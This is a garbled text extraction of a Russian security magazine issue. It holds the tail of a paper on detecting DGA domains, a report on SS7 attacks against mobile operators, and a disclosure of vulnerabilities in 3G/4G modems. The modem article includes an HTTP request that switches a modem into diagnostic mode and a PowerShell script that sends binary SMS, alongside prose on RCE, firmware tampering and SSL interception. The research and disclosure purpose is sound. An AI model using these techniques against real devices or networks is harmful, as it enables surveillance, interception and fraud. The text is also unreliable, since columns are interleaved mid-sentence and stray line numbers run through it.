64 стовую выборку. На основе обучающей выборки доменов строится решение о его принадлежности к тому или иному классу. 66 множество N-грамм с учетом их уникальности. В качестве N-граммы 68 Такой способ разбиения выборки позволил улучшить точность клас- берется подстрока доменного имени фиксированной длины. 70 сификации доменов — по сравнению, например, со случайным раз- 72 Рассмотрим на примере DGA-домена Cryptolocker vzdzrsensinaix. биением. Результаты тестирования обоих методов будут представле- 74 com. Из него получится 11 N-грамм длиной 4 символа. ны ниже. 76 78 80 vzdzrsensinaix.com 82 84 Зловредные домены Обучающая 86 выборка 88 Легитимные домены 90

92 vzdz zdzr dzrs zrse rsen sens ensi nsin sina inai naix 94 96

98 Рис. 1. Разбиение домена на N-граммы Рис. 2. Каждое доменное имя содержит непустое пересечение 100 с обучающей выборкой. Минимальное количество пересечений для каждого домена задается в параметрах алгоритма разбиения 102 Множество доменов 03 Выборка доменных имен Результаты 05 07 09 Обучение Для оценки эффективности нашего предложения была проведена серия экспериментов на выборке доменов. Все множество доменов 11 было разделено на две части: обучающую и тестовую выборку. 13 15 Анализатор 17 Таблица 2. Размеры исследуемых выборок 19 Обученная модель Домен 21 Количество Количество Модель зловредных доменов легитимных доменов 23 25

Рис. 3. Схема работы классификатора Обучающая выборка 60 000 70 000 27 29 Для определения вредоносности анализируемого домена алгоритм Тестовая выборка 640 000 830 000 31 вычисляет рекурсивную функцию: 33 35 I(i) = I(i-1) * α + Ng(q ), i 37

10 39 где qi — i-я N-грамма домена,

Ng(qi) — коэффициент рассматриваемой N-граммы, 41 α — смягчающий коэффициент, 8 43 I(0) = 0. 45 Для допустимых значений рекурсивной функции определена грани- 6 47 ца T. Как только результат вычисления очередной итерации рекур- 49 сивной функции становится меньше этой границы, соответствующий 4 51 домен объявляется зловредным. detection rate percent 2 Проиллюстрируем работу анализатора на примере зловредного

(pushdo bot) домена. 0 -1,2 -1,3 -1,4 -1,5 -1,6 -1,7 -1,8 threshold jrgxmwgwjz.com (α = 0,9; T = −1,5)

false positive false negative Таблица 1. Пример работы анализатора

Номер Коэффициент Значение рекурсивной Рис. 4. Выбор оптимального порогового значения 43 N-грамма N-граммы N-граммы из модели функции

1 jrgx −1 −1 Из графика на рисунке 4 следует, что оптимальным пороговым зна- чение является −1,5, так как достигается баланс между false positive и 2 rgxm 0 −0,9 false negative (обе ошибки порядка 1%). 3 gxmw 0 −0,81 Эксперименты показали, что предложенный нами метод обладает до-

4 xmwg 0 −0,73 статочно высокой точностью классификации, которая дополнитель- но возрастает при применении разработанного метода разбиения. 53 5 mwgw 0,06 −0,6 55

6 wgwj −0,92 −1,45 57 59 7 gwjz −0,68 −1,99 61 63

−1,99 < T следовательно домен является зловредным. Пороговое зна- rate true positive 65 чение T определено эмпирическим путем на основе проведенных 1,0 67 исследований (см. рис. 4). 69 Теперь рассмотрим подробнее коэффициенты нейтральных N-грамм. 71 0,8 Для получения этих коэффициентов используется эволюционный 73 алгоритм (эволюционные алгоритмы — это семейство алгоритмов, 75 предназначенных для решения задач оптимизации, основанных на 0,6 77 принципах природной эволюции), в котором в качестве особи попу- 79 ляции берется вектор коэффициентов нейтральных N-грамм. 81 0,4 Задачей данной реализации эволюционного алгоритма является 83 вычисление оптимальных числовых значений для нейтральных 85 87 N-грамм. Решением, полученным в результате работы эволюцион- 0,2 ного алгоритма, является вектор значений коэффициентов ней- 89 тральных N-грамм, обеспечивающий наибольшую точность работы 91 классификатора. Точность классификатора оценивается значением 0 93 0,2 0,4 0,6 0,8 1,0 false positive rate неубывающей целевой функции, выбранной в результате экспери- 95 ментального тестирования: 97 Разработанный метод разбиения Случайное разбиение Fitness = P/TP + N/TN + FP/P + FN/N 99 101 Чем ближе значение Fitness к 2, тем выше точность классификации. Рис. 5. Сравнение разбиений выборки 103

// ВЕБ-безопасность positive research 2016

02 04 Атакуем SS7: 06 08 10 анализ защищенности 12 14 16 сотовых операторов в 2015 году 18 20 22 24 Дмитрий Курбатов, 26 Сергей Пузанков 28 30 32 34 36 38 Перехват разговоров по мобильным телефонам принято считать Привет из 70-x 40 сложной задачей. Однако не только спецслужбы владеют этим искус- 42 ством: атаковать абонентов может и хакер среднего уровня, если он Разработанная сорок лет назад система SS7 (ОКС-7) имеет опреде- 44 знаком со строением сигнальных сетей. Старые добрые уязвимости ленные недостатки в плане защищенности (например, отсутству- 46 SS7 позволяют подслушивать телефонные разговоры, определять ют шифрование и проверка подлинности служебных сообщений). местоположение абонентов, перехватывать SMS, отключать телефон Долгое время это не представляло опасности ни для абонентов, ни 48 от сети. для оператора: сеть SS7 была замкнутой системой, в которую под- 50 ключались только операторы фиксированной связи. Однако время В 2015 году специалисты Positive Technologies осуществили 16 про- идет, сеть эволюционировала для поддержки нужд мобильной связи ектов по анализу защищенности сетей SS7 ведущих мобильных и предоставления дополнительных услуг. В начале 2000-х была пред- операторов регионов EMEA и APAC. Результаты восьми наиболее ложена спецификация SIGTRAN, позволившая передавать служеб- информативных проектов попали в нашу статистику. В этой статье ную информацию SS7 по IP-сетям. Сигнальная сеть перестала быть мы рассмотрим уровень защищенности абонентов сотовых сетей, а изолированной. также всех промышленных и IoT-устройств, от банкоматов до GSM- систем контроля давления на газопроводе, которые также являются Конечно, напрямую попасть в сигнальную сеть не получится, потре- абонентами сотовых сетей. В отчете описаны основные обнаружен- буется SS7-шлюз. Но обеспечить к нему доступ не так сложно. Можно 44 ные проблемы и пути их решения. получить операторскую лицензии в стране, где на это смотрят сквозь пальцы, или приобрести доступ на черном рынке у действующего Из соображений конфиденциальности мы не раскрываем названия оператора. Существуют способы попасть в сеть через взломанное компаний. Половина исследованных нами сетей SS7 принадлежат операторское оборудование, GGSN или фемтосоту. Если среди участ- крупнейшим мобильным операторам с числом абонентов более 40 млн. ников хакерской группы есть технический специалист компании-о- ператора, то он может выполнять ряд атак с помощью набора леги- тимных команд или подключить к SS7 свое оборудование. 25% 25% Атаки через SS7 могут выполняться из любого места на планете, что

52 делает этот метод одним из самых перспективных для нарушителя. Злоумышленнику не надо физически находиться рядом с абонентом, 54 как в случае с поддельной базовой станцией, поэтому вычислить его 56 практически невозможно. Высокая квалификация также не требует- 58 ся: в сети доступно множество готовых приложений для работы с SS7. 60 При этом операторы не могут блокировать команды от отдельных 62 узлов, поскольку это оказывает негативное влияние на весь сервис 64 и нарушает принципы функционирования роуминга. 66 Впервые уязвимости SS7 были публично продемонстрированы в 68 2008 году: немецкий исследователь Тобиас Энгель показал технику 70 слежки за абонентами мобильных сетей. В 2014 году эксперты Positive 72 Technologies выступили с презентацией «Как подслушать человека 74 на другом конце земного шара» и представили подробный отчет 76 «Уязвимости сетей мобильной связи на основе SS7». В 2015 году 78 специалисты SR Labs в эфире австралийской программы «60 минут», 80 будучи в Германии, перехватывали SMS-переписку австралийского 82 сенатора Ника Ксенофонта и британского журналиста, а потом на- 84 25% 12,5% 12,5% блюдали за передвижениями сенатора в командировке в Токио. 86 88 90 до 10 млн 40−70 млн Общие результаты 92 10−20 млн более 70 млн Итоговый уровень безопасности сетей SS7 всех исследованных 94 операторов мобильной связи оказался крайне невысок. В 2015 году 96 20−40 млн в отношении операторов связи и их сетей SS7 могли быть реализо- 98 ваны атаки, связанные с утечкой данных абонентов (77% успешных 100 попыток), нарушениями в работе сети (80%) и мошенническими дей- 102 Объем абонентской базы операторов ствиями (67%). Сбой в работе | 80% Определить физическое местоположение абонента получилось 03 во всех сетях, кроме одной. Основные методы — SendRoutingInfo 05 и ProvideSubscriberInfo, причем последний давал результат при ка- Утечка данных | 77% 07 ждой второй атаке (53%). 09 11 Мошенничество | 67% Наиболее ценная информация об абоненте — IMSI. Этот идентифика- тор нужен для большинства атак. Легче всего оказалось получить его 13 методом SendRoutingInfo. 15 17 0% 20% 40% 60% 80% 100% SendRoutingInfo | 76% 19 21 Доля успешных атак на сети SS7 SendRoutingInfoForSM | 70% 23 25 SendIMSI | 25% 27 Слежка, прослушивание звонков 29 и перехват SMS 0% | SendRoutingInfoForLCS 31 33 Входящие SMS-сообщения можно было перехватить в сетях всех 35 37 участников исследования. Девять из десяти атак (89%) достигли 0% 20% 40% 60% 80% 100% цели, и это очень плохой результат. Судите сами: SMS-сообщения ча- 39 сто используются в системах двухфакторной аутентификации и для 41 Методы кражи информации об абоненте (доли успешных атак) восстановления паролей от различных интернет-сервисов. Перехват 43 сообщений выполнялся методом UpdateLocation. Злоумышленник 45 регистрирует абонента-жертву в фальшивой сети, после чего все Другой метод определения IMSI — SendRoutingInfoForSM — оказался 47 входящие сообщения SMS приходят на указанный им адрес. эффективен в 70% случаев. Данное сообщение используется при вхо- 49 дящем SMS-сообщении для запроса маршрутной информации и лока- 51 лизации абонента-получателя. Узнать идентификатор абонента можно было и с помощью команды SendIMSI, но с меньшей вероятностью (25%). Получение баланса абонента | 92%

Кража информации об абоненте | 90% Мошенничество

Перехват входящей SMS | 89% В каждой из систем были выявлены недостатки, позволяющие реали- зовывать какие-либо мошеннические действия со стороны внешнего нарушителя. Примерами таких действий могут служить перенаправ- Определение местоположения абонента | 58% 45 ление вызовов, перевод денежных средств со счета абонента, изме- нение профиля абонента. Прослушивание звонка | 50%

Перенаправление входящего вызова | 94%

0% 20% 40% 60% 80% 100% Перевод денег посредством USSD | 64%

Доля успешных атак с целью получения чувствительной информации Изменение профиля абонента | 54% 53 55 Перенаправление исходящего вызова | 45% 57 Несанкционированный запрос баланса также был возможен почти повсеместно (92% атак). Для этой атаки используется сообщение 59 ProcessUnstructuredSS-Request, в теле которого передается соответ- 61 ствующая USSD-команда. 0% 20% 40% 60% 80% 100% 63 65 Голосовые вызовы оказались защищены немного лучше: увенча- Доли успешных атак 67 лись успехом только половина атак с целью прослушивания входя- 69 щих и исходящих звонков. Но и это огромный риск для абонентов. Большинство атак с целью перенаправления входящих вызовов ока- Для перехвата входящих вызовов использовалась техника подме- 71 зались успешны (94%). Это подтверждает наличие в сетях SS7 суще- ны роумингового номера. Прослушивание же исходящих вызо- 73 ственных проблем, связанных с архитектурой протоколов и систем. вов осуществлялось методом InsertSubscriberData. Затем в том и 75 другом случае выполнялось перенаправление трафика на другой Исходящий вызов удалось перенаправить лишь в 45% случаев. Для 77 коммутатор. перенаправления применялся метод InsertSubscriberData. 79 81 Атаки с целью перенаправления входящих вызовов осуществлялись 83 ProvideSubscriberInfo | 53% с использованием двух техник — подмены роумингового номера и манипуляции с переадресацией. Подмена роумингового номера 85 осуществляется в момент входящего вызова на атакуемого абонента, 87 SendRoutingInfo | 25% который должен быть предварительно зарегистрирован в фальши- 89 вой сети. В ответ на запрос роумингового номера атакующий отправ- 91 0% | AnyTimeInterrogation ляет номер для перенаправления вызова. Плата за установленное 93 соединение ляжет на оператора. 95 Манипуляция с переадресацией — несанкционированная установ- 97 0% 20% 40% 60% 80% 100% ка безусловной переадресации. Все входящие вызовы для абонента 99 будут перенаправляться на указанный номер. Платить за вызовы при- 101 Методы определения местоположения абонента (доли успешных атак) дется абоненту. 103

// Мобильные угрозы positive research 2016

02 04 06 08 10 12 14 16 18 20 22 24 26 28 30 32 34 36 38 40 42 44 46 48 50

Манипуляция с переадресацией | 92% Во всех случаях применялся метод UpdateLocation; для атаки нуж- но знать идентификатор IMSI абонента. В сеть оператора отправ- Подмена роумингового номера | 69% ляется сообщение UpdateLocation, информируя HLR, что абонент произвел регистрацию (в поддельной сети). После этого входя- щие вызовы на абонента маршрутизируются на адрес, указанный при атаке 46 0% 20% 40% 60% 80% 100%

Методы перенаправления входящего вызова (доли успешных атак) Причины проблем

Большинство атак на сети SS7 были возможны из-за отсутствия про- Изменение профиля абонента было возможно в каждой второй ата- верки реального местоположения абонента. На втором и третьем ке, осуществленной методом InsertSubscriberData (54%). Атакующий местах в списке причин — невозможность проверки принадлеж- имеет возможность изменить профиль абонента таким образом, что ности абонента сети и отсутствие фильтрации неиспользуемых сиг- исходящие вызовы будут осуществляться в обход системы тарифи- нальных сообщений. На четвертой позиции — ошибки конфигура- 52 кации. Эта атака может использоваться в схемах мошенничества с ции SMS Home Routing. 54 генерацией трафика на платные номера и дорогие направления за 56 счет оператора. 58 Что можно сделать 60 62 DoS-атака на абонента Большинство недостатков, позволяющих определить местоположе- 64 ние абонента и украсть данные, могут быть устранены изменением Чтобы сделать абонентское оборудование (телефон, модем, GSM- 66 конфигурации сетевого оборудования. Необходимо как минимум сигнализацию или датчик) недоступным для входящих транзакций, 68 установить запрет на обработку сообщений AnyTimeInterrogation и злоумышленник может осуществлять целенаправленные атаки на SendIMSI на HLR. 70 абонентов мобильной сети. Большинство исследованных нами сетей 72 SS7 уязвимы для DoS-атак (успешны были 80%). Архитектурные проблемы протоколов и систем решаются пу- 74 тем блокирования нежелательных сообщений. В первую очередь 76 следует обратить внимание на SendRoutingInfoForSM, SendIMSI, 78 Отсутствие проверки реального местоположения абонента | 9,1 SendRoutungInfoForLCS, SendRoutingInfo. Фильтрация поможет избе- 80 жать рисков, связанных с отказом в обслуживании, перехватом SMS- 82 3,4 | Невозможность проверки принадлежности абонента сети сообщений, перенаправлением вызовов, прослушиванием звонков, 84 изменением профиля абонента. 86 3,0 | Отсутствие фильтрации неиспользуемых сигн. сообщений Однако не все указанные сообщения сети SS7 могут оказаться опас- 88 ными. Необходимо реализовать фильтрацию таким образом, чтобы 90 отсекались только нежелательные сообщения, используемые в ата- 1,8 | Недостатки конфигурации SMS Home Routing 92 ках. Для этого рекомендуется внедрять дополнительные средства 94 защиты, например системы обнаружения вторжений. Подобные 96 системы не влияют на трафик сети, но позволяют выявить действия 98 0 2 4 6 8 10 нарушителя и определить необходимые настройки фильтрации сообщений. 100 102 Среднее число успешных атак в одной сети SS7 (в зависимости от недостатка) 03 Опасные уязвимости 05 07 09 в популярных 3G- и 4G-модемах 11 13 15 17 Данный отчет является логическим продолжением исследова- Тимур Юнусов 19 ния «#root via SMS», завершенного в 2014 году командой SCADA 21 habrahabr.ru/company/pt/blog/272175/ Strangelove. Исследование затрагивало уязвимости модемов лишь 23 частично, в рамках более широкого описания уязвимостей оборудо- 25 вания телеком-операторов. В настоящем документе представлено 27 описание всех найденных и использованных уязвимостей в 8 попу- 29 лярных моделях 3G- и 4G-модемов, доступных в России и по всему миру. Найденные уязвимости позволяют проводить удаленное вы- 31 полнение кода в веб-сценариях (RCE), произвольную модификацию 33 прошивки, межсайтовую подделку запросов (CSRF) и межсайтовое 35 выполнение сценариев (XSS). 37 39 В работе также описан наиболее полный набор векторов атак на кли- 41 ентов телекома, использующих данные модемы: это могут быть иден- тификация устройств, внедрение кода, заражение пользовательского 43 компьютера, к которому подключен модем, подделка SIM-карты и пе- 45 рехват данных, определение местоположения абонента и доступ к его 47 личному кабинету на портале оператора, а также целевые атаки (APT). 49 51

Было рассмотрено 8 модемов следующих производителей: Huawei (2 разных модема и 1 роутер), Gemtek (1 модем и 1 роутер), Quanta Модем Найдено уязвимых , шт. (2 модема), ZTE (1 модем). Gemtek1 1411 Очевидно, что не все модемы поставлялись с уязвимыми прошив- 47 Quanta2, ZTE 1250 ками: часть ошибок были допущены при кастомизации прошивки сотовым оператором. Хотя такие подписи наводят на некоторые Gemtek2 1409 мысли: Quanta1 946 Huawei —

Данные собирались пассивно с портала SecurityLab.ru с 29.01.2015

по 05.02.2015 (1 неделя). В статистике не представлены сведения о 53 Далее для удобства все сетевое оборудование — и модемы, и роуте- модемах Huawei, но их всегда можно найти в shodan.io, например 55 ры — будем называть модемами. вот так: 57 59 61 63 65 67 69 71 73 75 77 79 81 83 85 87 89 91 93 95 97 99 101 103

// Мобильные угрозы positive research 2016

02 Найденные уязвимости Векторы атак 04 06 Во всех рассмотренных моделях присутствовали те или иные опас- 1. Идентификация 08 ные уязвимости, которые приводили к полной компрометации си- Для проведения успешной атаки на модем необходимо его сперва 10 стемы. Практически все их можно было эксплуатировать удаленно идентифицировать. Конечно же, можно отправлять все возможные 12 (см. сводную таблицу в конце статьи). Описание найденных уязвимо- запросы для эксплуатации уязвимостей RCE или пытаться загрузить 14 стей, ранжированных по степени опасности: все возможные версии прошивок по всем возможным адресам, од- 16 нако это представляется неэффективным и может быть заметно для 1. Удаленное выполнение кода в веб-сценариях, 18 атакуемого пользователя. Кроме того, в реальных, нелабораторных 5 устройств (RCE) 20 условиях, которые рассматриваются в этом исследовании, достаточ- 22 Все рассмотренные веб-серверы на модемах работают на базе про- но важным является время заражения — от момента обнаружения 24 стых CGI-скриптов, которые практически нигде не проходили долж- пользователя до момента внедрения кода, изменения настроек 26 ную фильтрацию (кроме модемов Huawei, и то спустя несколько об- модема. 28 новлений после оглашения уязвимостей). Именно поэтому на первоначальном этапе необходимо правильно 30 И конечно же все модемы работают с файловой системой: им необ- определить атакуемое устройство. Для этого используется простой 32 ходимо отправлять AT-команды, читать и писать СМС, настраивать набор адресов изображений, наличие которых говорит о той или 34 правила на фаерволе и т. п. иной версии модема. Таким образом нам удалось определить все 36 рассматриваемые модемы со 100%-ной точностью. Пример кода: Кроме того, практически нигде не использовалась защита от атак 38 pastebin.com/PMp95af0. класса CSRF, что позволяло выполнять код удаленно с помощью ме- 40 тодов социальной инженерии и удаленной отправки запросов через 2. Внедрение кода 42 зловредный сайт. Для некоторых модемов возможно проведение 44 атак XSS. Данный этап уже подробно описан в предыдущем разделе, в пун- 46 ктах 1 и 2. Внедрить код можно либо через уязвимость выполнения Сочетание этих трех факторов дает неутешительный результат: более 48 произвольного кода в веб-сценариях, либо через обновление на за- 60% модемов уязвимы к удаленному выполнению кода. Причем об- 50 раженную прошивку. Первым способом мы смогли проникнуть на 5 новленную прошивку без этих уязвимостей можно получить только модемов. в модемах Huawei (есть публичное описание уязвимости): остальные уязвимости пока считаются 0-days. Опишем подробно векторы для реализации второго способа. В двух модемах использовался одинаковый алгоритм обеспечения 2. Произвольная модификация прошивки, целостности прошивки: шифрование алгоритмом RSA хеш-суммы 6 устройств (Integrity attacks) SHA1 в режиме цифровой подписи осуществлялось с помощью би- Только три модема имели криптографическую защиту прошивок от блиотеки OpenSSL. Проверка проводилась некорректно: загрузив модификации. Два модема работали по одинаковому алгоритму с по- прошивку, являющуюся по сути архивом, веб-сервер извлекал из нее 48 мощью асимметрично зашифрованной по протоколу RSA хеш-суммы два основных файла — файл, указывающий на размер проверяемых SHA1, третий модем шифровал содержимое прошивки с помощью данных, и файл с хеш-суммой этих данных. Далее, взяв с файловой си- потокового шифра RC4. стемы публичный ключ, сценарий проверки обращался к функциям библиотеки OpenSSL для высчитывания новой подписи, и в случае На все реализации криптоалгоритмов удалось совершить атаки, совпадения прошивка устанавливалась. Алгоритм сжатия прошивки приводящие к нарушению целостности и конфиденциальности: в обладал особенностью: к существующему архиву возможно было до- первом случае мы можем модифицировать прошивку, внедряя в нее бавить дополнительные файлы с теми же именами, при этом никак не произвольный код, во втором случае из-за слабостей реализации ал- изменились бы начальные байты архива, а при распаковке прошивки горитма удалось извлечь ключ и определить алгоритм шифрования, произошла замена более поздним файлом более раннего. Благодаря что также приводит к возможности произвольно изменять содержи- 52 этому можно очень просто изменить содержимое прошивки, никак мое прошивки. 54 не изменив целостность проверяемых данных. 56 Другие три модема не имели защиты от модификации прошивок, 58 однако для обновления прошивки необходим локальный доступ к 60 интерфейсам COM. 62 В оставшихся двух модемах предусматривалась возможность об- 64 новления только через сеть оператора c помощью технологии FOTA 66 (Firmware Over-The-Air) 68 70 3. Межсайтовая подделка запросов, 72 5 устройств (CSRF) В третьем модеме прошивки были зашифрованы по алгоритму RC4 c константной гаммой. Так как в интернете было доступно три разных 74 Атаки CSRF можно использовать для разных задач, но в первую оче- версии этой прошивки, можно получить несколько байт plain-text — 76 редь — для удаленной загрузки модифицированной прошивки и в тех местах, где в одном из файлов незашифрованной прошивки 78 внедрения произвольного кода. Эффективной защитой от этой атаки располагаются байты 0x00. 80 является использование уникальных токенов для каждого запроса. 82 84 4. Межсайтовое выполнение сценариев, 86 4 устройства (XSS) 88 Поверхность применения данных атак также достаточно широка — 90 от инфицирования узла до перехвата чужих СМС, однако в нашем 92 исследовании основное их применение — это также загрузка моди- 94 фицированных прошивок в обход проверок antiCSRF и Same-Origin 96 Policy. 98 100 102 03 Дальнейшее извлечение ISO-образа виртуального CD-ROM позво- выполнения сценариев. СМС обычно хранятся на файловой системе, 05 ляло извлечь бинарный файл с алгоритмом шифрования образов поэтому несложно получить к ним доступ, а также отправлять СМС и прошивки и адрес, по которому располагался ключ шифрования. USSD-запросы. 07 Дальнейший XOR двух частей прошивок давал возможность полу- 09 Перехват трафика — более интересная вещь. Его можно реализовать чить plain-text именно по адресу ключа шифрования и успешно его 11 несколькими путями: через изменение настроек DNS-сервера на мо- извлечь. 13 деме, а также через изменение шлюза на модеме на Wi-Fi-интерфейс 15 В дальнейшем для удаленной загрузки можно использовать атаку и подключение к заранее включенной точке доступа (для этого нам и 17 CSRF и функции HTML5 для передачи multipart/form-data либо ата- нужно знать местоположение жертвы). Первый путь, конечно, проще: ку XSS, если приложение защищено от CSRF (для модема Huawei). поменять настройки это дело 10 секунд, они, как правило, тоже нахо- 19 От CSRF были защищены только три модема Huawei, и именно в них дятся на файловой системе; везде, кроме одного модема, это удалось. 21 можно было эксплуатировать XSS для обхода этой защиты. Во всех Второй вариант рассматривался чисто теоретически: задача была 23 остальных случаях загрузку можно было осуществить с помощью изменить режим сетевой карты с Ad hoc на активную, подключится 25 HTML5-кода, размещенного на специальной странице. к посторонней точке доступа, а также поменять маршрутизацию на 27 модеме. 29 В модемах Gemtek использовался алгоритм обновления прошивки через специальную утилиту, устанавливаемую на компьютер. В этом Перехватывать мы можем не только HTTP-трафик. Простым внедре- 31 случае прошивки загружались через интернет-соединение на хосте нием и выполнением VBS-кода в HTML-страницу можно добавить 33 по протоколу HTTP. Но дальше использовался механизм контроля свой сертификат в доверенные корневые центры сертификации и 35 целостности загруженной прошивки с помощью контрольных сумм, успешно проводить MitM на SSL: 37 также загружаемых с сервера. Проверить корректность работы дан- 39 ного сценария не удалось. Однако надеяться, что тот же производи- 41 тель, который некорректно проверяет целостность при загрузке на 43 65 67 69 4. Подделка SIM-карты и перехват 2G-трафика 71 Подробно о способах атаки на приложения на SIM-карте рассказыва- 73 ется в работах Карстена Ноля (Karsten Nohl), а также в исследовании 75 «#root via SMS». Нам по-прежнему необходимо отправлять бинарные 77 СМС на сим-карты, поскольку научить модем посылать команды по 79 протоколу APDU на приложения на SIM-карте так и не удалось. 81 Однако не все так печально: благодаря внедрению произвольного 83 кода на модем возможно расширить скоуп-атак с помощью бинар- 85 ных СМС. Во-первых, теперь бинарные СМС можно попробовать 87 отправить «самому себе» — с атакуемой сим-карты на нее же через 89 AT-интерфейс. Для этого необходимо переключить модем в диагно- 91 стический режим и работать с COM-портом. Сделать это можно в 93 фоновом режиме: для атакуемого до сих пор будет доступен веб-ин- 95 Рассматриваемые модемы были двух типов — поддерживающие терфейс и процесс переключения режима практически незаметен. 97 работу с СМС и не поддерживающие. В первых обнаружить воз- Далее необходима коммуникация с COM-портом. Это можно сделать 99 можность чтения СМС через AT-команды нам также не удалось. внедрив VBS-код на страницу модема и выполнив этот код с правами 101 Во втором возможно чтение с использованием межсайтового пользователя, применив социальную инженерию. 103

// Мобильные угрозы positive research 2016

02 Следующий вектор атаки, который может быть использован в соче- 04 1 POST /CGI HTTP/1.1 тании с точной геолокацией атакуемого, — использование FakeBTS. 2 Host: 192.168.1.1 06 Если мы знаем достаточно точно местоположение жертвы, а также 08 3 Accept: */* 4 Accept-Lenguage: en его IMSI, мы можем использовать поддельную базовую станцию в 10 5 User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; непосредственной близости и ждать, пока он подключится к нам, 12 Windows NT 6.1; Win64; x64; Trident/5.0) либо, если мы можем, принудительно задать базовую станцию (такая 14 6 Connection: close возможность доступна для 5 устройств). В случае успеха отправлять 16 7 Content-Length: 218 бинарные СМС можно на атакуемую сим-карту без ограничений со 8 18 стороны оператора. 9 20 10 5. Заражение рабочих станций 22 11

24 12 switchMode Проникнув на модем, мы ограничены в векторах атак на телеком-а- 26 13
бонента, но если мы инфицируем компьютер, к которому подключен 14 28 модем, то сразу получаем неограниченные возможности по хище- 15 30 нию и перехвату данных в пределах этого компьютера. 16 1 32 17 Ранее описывался основной вектор заражения — bad USB. Однако, 34 18 если использовать методы социальной инженерии, возможны еще 36 19 несколько вариантов: 38 + Virtual CD-ROM. Практически все модемы имеют образ вирту- 40 ального диска, который подключается на первом этапе для уста- 42 1 HTTP/1.1 200 OK новки драйверов. Необходимо подменить этот образ и заставить 44 2 Date: Thu, 01 Jan 1970 00:00:00 GMT его смонтироваться принудительно. 46 3 Server: mini_httpd/1.19 19dec2003 + VBS, drive-by-download. Внедрение исполняемого кода в тело 48 4 Connection: close HTML-страницы либо принудительная загрузка исполняемых 50 5 Cache-Control: no-cache 6 Content-Type: Content-Type: text/html файлов под видом обновлений или диагностических утилит. 7 + Browser 0-days. В качестве примера использовалась уязвимость 8 Content-Length: 230 нулевого дня в Adobe Flash, найденная в архивах Hacking Team. 9 10 + Уязвимое клиентское ПО. Один из операторов поставлял 11
вместе с модемом уязвимое диагностическое ПО, позволяющее 12 switchMode выполнять произвольный код на компьютере под управлением 13
OS X и Windows. 14 50 15 0 16 1 17 18 19

Переводим модем в диагностический режим

52 1 # Create your instance of the SerialPort Class 54 2 $serialPort = new-Object System.IO.Ports.SerialPort 56 3 # Set various COM-port settings 58 4 $serialPort.PortName = "COM9" 60 5 $serialPort.BaudRate = 9600 62 6 $serialPort.WriteTimeout = 500 64 7 $serialPort.ReadTimeout = 3000 8 $serialPort.DtrEnable = "true" 66 9 # Open the connection 68 10 $serialPort.Open() 70 11 72 12 # Tell the modem you want to use AT-mode Выполнение произвольного кода на клиентском ПО модема 74 13 $serialPort.Write("AT+CMGF=0ˋrˋn") 76 14 78 15 # Start feeding message data to the modem 6. Целевые атаки (APT) 80 16 # Begin with the phone number, international 82 17 # style and a ... that's the ˋrˋn part Инфицировав модем и хост, необходимо как-то закрепиться в си- 84 18 $serialPort.Write("AT+CMGS=18ˋrˋn") стемах. В модеме необходимо сохраниться в автозагрузке даже по- 86 19 сле выключения модема и предотвращать дальнейшее обновление 20 # Now, write the message to the modem прошивок. В зараженном компьютере полезно будем определять и 88 21 $serialPort.Write("07919730071111F111000B919760279415F300 заражать другие уязвимые модемы, как только они будут подключены 90 00AA04F4F29C0E") к компьютеру. Кроме того, заразить большинство устройств можно 92 22 прямо в салоне связи, в процессе «проверки» устройства. 94 23 # Send a Ctrl+Z to end the message. 96 24 $serialPort.Write($([char] 26)) Еще одна возможность, которую, к сожалению, не удалось реализо- 98 вать, — доступ в модем из сети оператора. Поскольку большинство уязвимых веб-серверов слушают на *:80, есть вероятность того, что 100 Сценарий PowerShell для отправки бинарной СМС веб-сервер модема будет доступен из сети оператора, однако, так 102 как веб-сервер поднимается раньше установки 3G-соединения, эта Резюме 03 возможность оказалась не слишком актуальна. И только некоторые 05 модемы принудительно запрещают входящие соединения из сети В итоге мы имеем полный цикл заражения устройств и компью- 07 оператора либо конкретно указывают адрес для listen 192.168.0.1:80. теров, в которые они подключаются. На зараженных устройствах 09 мы можем определять геолокацию, перехватывать и отправлять 11 7. Доступ к личному кабинету СМС и USSD, читать HTTP- и HTTPS-трафик (в случае подмены SSL- 13 сертификатов), проводить атаки на сим-карты через бинарные Рассматривался также вектор получения доступа к личному каби- 15 СМС и перехватывать 2G-трафик. Дальнейшее распространение нету оператора через отправку запроса по USSD и сброс пароля по 17 возможно через сети оператора, через популярные веб-ресурсы СМС. (Этот вектор был показан на презентации «#root via SMS».) Для или по методу вируса-червя — через уже зараженное оборудова- 19 эксплуатации использовалась атака XSS, которую можно было реали- ние при подключении незараженного. 21 зовать с помощью отправки СМС. Однако это возможно и в тех моде- 23 мах, где доступно чтение СМС с помощью RCE. Что посоветовать клиентам, которые постоянно работают с таки- 25 ми устройствами?.. Самыми защищенными на сегодняшний день 27 являются модемы Huawei (при условии, что установлена послед- 29 няя версия прошивки). Это единственная компания, которая сама поставляет прошивки (операторам дается возможность только 31 добавлять визуальные элементы и отключать те или иные функ- 33 ции). Кроме того, компания Huawei, в отличие от многих других, 35 регулярно исправляет уязвимости, которые обнаруживаются в ее 37 ПО. 39 41 Хотя 90 дней с момента извещения телеком-операторов прошли уже давным-давно, множество уязвимостей так и остались 43 незакрытыми. 45 47 Благодарю за помощь Алексея Осипова, Дмитрия Склярова, Кирилла 49 Нестерова, Михаила Фирстова и команду SCADA Strangelove. Результат эксплуатации XSS 51

FW reverse, Найдено Подмена Remote RCE SMS Отправка Модем возможность DNS intercept CellID (geo) Wi-Fi scan модемов, прошивки via web intercept бинарных СМС модификации шт. в неделю

Gemtek1 + + + N/A + + + – 1411 51 Gemtek2 + + + N/A + + recompile – 1409

Quanta1 + + – N/A N/A + N/A – 946

Huawei1 + fixed + + + N/A Требуется Требуется Huawei2 N/A переключение Shodan + доступ к узлу – + + + режима Huawei3 + – + + + N/A 53 Quanta2 – – + + + – N/A 55 Подключение 1250 к другой сети 57 ZTE – – + + + – N/A 59 61 63 65 67 69 71 73 75 Серьезная уязвимость в LTE-модемах Huawei 77 79 81 Компания Huawei поблагодарила экспертов Positive Technologies Тимура Юнусова и Кирилла Нестерова, которые обнару- жили и помогли устранить опасную уязвимость в популярных 4G USB-модемах Huawei E3272s. Потенциальный злоумыш- 83 ленник мог использовать этот недостаток безопасности для блокирования работы целевого устройства, отправив на него 85 вредоносный запрос. Уязвимость позволяла осуществлять не только DOS-атаку, но и удаленное исполнение произволь- 87 ного кода с помощью атак межсайтового скриптинга (XSS) или переполнения стека (Stack Overflow). Линейка LTE-модемов 89 Huawei E3272 входит в число наиболее востребованных устройств данного класса, а уязвимая модификация модема 91 (Huawei E3272s-153) продается под собственными брендами всеми ведущими российскими операторами сотовой связи. 